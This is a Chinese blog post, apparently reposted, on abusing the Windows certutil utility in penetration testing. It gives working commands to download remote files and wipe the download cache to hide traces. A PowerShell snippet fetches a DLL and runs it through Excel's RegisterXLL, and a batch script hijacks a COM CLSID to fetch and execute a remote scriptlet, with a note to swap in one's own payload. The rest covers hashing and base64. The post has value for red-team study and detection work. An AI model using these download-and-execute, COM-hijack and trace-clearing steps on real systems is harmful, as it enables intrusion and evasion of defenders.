certutil在渗透测测试中的使用技巧

Love The Way You Lie 2024-04-07 11:05 30阅读 0赞

**certutil****在渗透测测试中的使用技巧**

#### 0x01 前言 ####

最近在Casey Smith‏ @subTee的twitter上学到了关于certutil的一些利用技巧。本文将结合自己的一些经验，介绍certutil在渗透测试中的应用，对cmd下downloader的实现方法作补充。

#### 0x02 certutil简介 ####

用于备份证书服务管理,支持xp-win10

更多操作说明见[https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx][https_technet.microsoft.com_zh-cn_library_cc755341_v_ws.10_.aspx]

#### 0x03 渗透测试中的应用 ####

##### 1、downloader #####

(1) 保存在当前路径，文件名称和下载文件名称相同

certutil  -urlcache  -split  -f  https://github.com/backlion/demo/blob/master/weblogic.py

![cf7fb996ed6b96e744dcaf96412d5932.png][]

(2) 保存在当前路径，指定保存文件名称

certutil  -urlcache  -split  -f   https://github.com/backlion/demo/blob/master/weblogic.py  test.py

![d5ecd2ecc4f4659363e7e270f8804480.png][]

(3) 保存在缓存目录，名称随机

缓存目录位置： %USERPROFILE%\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content

certutil  -urlcache   -f   https://github.com/backlion/demo/blob/master/weblogic.py

![f8ab9854366fbcc3e1f29895bd86de89.png][]

![0bc0ee8a8ac91848541899222b4ca45e.png][]

##### 2、清除下载文件副本方法 #####

(1) 方法一，直接删除缓存目录对应文件

如下图:

![bf63e36c41122ff79c1e211279bcdcf2.png][]

(2)方法二，命令行:

certutil  -urlcache   -f   https://github.com/backlion/demo/blob/master/weblogic.py delete

![7770b5534d7daad16cb5846e1e8b185b.png][]

(3) 补充：

查看缓存项目：

certutil.exe -urlcache *

如下图

![3cf1cd76871e1be91cb4bb8146ee39af.png][]

##### 3、实际测试 #####

(1) powershell中的利用

测试系统安装Office软件，下载执行dll对应的powershell代码如下：

$path="D:\test\msg1.dll"
    
    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll  $path
    
    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
    
    $excel.RegisterXLL($path)

测试如下图

![731eaa0878ab310c209f05a055d598c1.png][]

(2) 下载劫持com的sct的批处理文件

test.bat(这里批处理是利用到certutil下载sct文件劫持com弹出计算器)：

@echo off
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00 /ve /t REG_SZ /d Bandit /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00\CLSID /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit /ve /t REG_SZ /d Bandit /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit\CLSID /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC} /ve /t REG_SZ /d Bandit /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32 /ve /t REG_SZ /d C:\WINDOWS\system32\scrobj.dll /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32 /v ThreadingModel  /t REG_SZ /d Apartment /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID /ve /t REG_SZ /d Bandit.1.00 /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL /ve /t REG_SZ /d https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID /ve /t REG_SZ /d Bandit /f 1>nul 2>&1
    
    reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{372FCE38-4324-11D0-8810-00A0C903B83C}\TreatAs /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1
    
    certutil 1>nul 2>&1
    
    reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00 /f 1>nul 2>&1
    
    reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit /f 1>nul 2>&1
    
    reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1
    
    reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{372FCE38-4324-11D0-8810-00A0C903B83C}\TreatAs /f 1>nul 2>&1
    
    echo Done!

这里测试的test.scr:

![b2194731076e4a2abe59040fd3d39bff.png][]

注意：在实战中需要替换该批处理文件中地址:

https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct为你自己需要的sct(劫持com)文件

运行批处理如下：

![01ef76b032d68da05c3dc55d30b46224.png][]

##### 4、计算文件hash #####

(1) SHA1

certutil  -hashfile msg1.dll

![f40f216a6808f88d94fb56d6b22cd52e.png][]

(2) SHA256：

certutil  -hashfile msg1.dll SHA256

![b1803404b5d13944fd9662e2590fb3dc.png][]

(3) MD5：

certutil  -hashfile msg1.dll MD5

![77daa53a1fbb58eba899d384f4f52191.png][]

##### 5、base64编码转换 #####

(1) base64编码：

CertUtil -encode InFile OutFile

![a6b7c30ee10ffdffdfb7930ac3018d98.png][]

(2) base64解码

CertUtil -decode InFile OutFile

![f15aa9eae3b06b245498b2545620c68d.png][]

**注：**

编码后的文件会添加两处标识信息：

文件头：

\-----BEGIN CERTIFICATE-----

文件尾：

\-----END CERTIFICATE-----

如下图

![3ebc5a2e47db19f3c483af4f35cc9c6b.png][]

#### 0x04 downloader常用方法 ####

常用的cmd下downloader方法，相比来说，利用certUtil简便快捷，但是使用后需要注意清除缓存，路径如下：

%USERPROFILE%\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content

downloader常用方法如下：

· certUtil

· powershell

· csc

· vbs

· JScript

· hta

· bitsadmin

· wget

· debug

· ftp

· ftfp

#### 0x05 小结 ####

本文介绍了certutil在渗透测试中的应用，详细介绍利用certutil作downloader的实现方法和检测方法

转载引用来自于：[https://3gstudent.github.io][https_3gstudent.github.io]

[https_technet.microsoft.com_zh-cn_library_cc755341_v_ws.10_.aspx]: https://technet.microsoft.com/zh-cn/library/cc755341%28v=ws.10%29.aspx
[cf7fb996ed6b96e744dcaf96412d5932.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4786e373e4544d25b79e3011dba9d1f8.png
[d5ecd2ecc4f4659363e7e270f8804480.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d6efdf93942b4f73b717a04c73d197ae.png
[f8ab9854366fbcc3e1f29895bd86de89.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/713d0b18b48a4dfc9625201ab43a8397.png
[0bc0ee8a8ac91848541899222b4ca45e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b654912d6f1446bba3adce9fb2d1ac30.png
[bf63e36c41122ff79c1e211279bcdcf2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a1fe00dc31ea49b891e766e6f14979b4.png
[7770b5534d7daad16cb5846e1e8b185b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7f339c234930446d9570f4c0e8be3036.png
[3cf1cd76871e1be91cb4bb8146ee39af.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cc265701dd5f4bfdb9916b5ea9fbc275.png
[731eaa0878ab310c209f05a055d598c1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b66ea10a52744b308a2dcfbe18a2bb8b.png
[b2194731076e4a2abe59040fd3d39bff.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3b15aceb976d4fdd9789a6777ac69d09.png
[01ef76b032d68da05c3dc55d30b46224.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ff3d0de137654441aab8d0a936d4595c.png
[f40f216a6808f88d94fb56d6b22cd52e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/07141a1140f54b2d95a4d0e464ef11e5.png
[b1803404b5d13944fd9662e2590fb3dc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/82876fd16d724df69e0fafc18fed5a61.png
[77daa53a1fbb58eba899d384f4f52191.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/89b299b68949491eb2ad8fa21bf8796d.png
[a6b7c30ee10ffdffdfb7930ac3018d98.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/26c4176f059044e3bc35fa98e718d717.png
[f15aa9eae3b06b245498b2545620c68d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f6e670af3f0a4b46b0c31c32db4912fa.png
[3ebc5a2e47db19f3c483af4f35cc9c6b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9ca525778ea24faba7a764362a531e36.png
[https_3gstudent.github.io]: https://3gstudent.github.io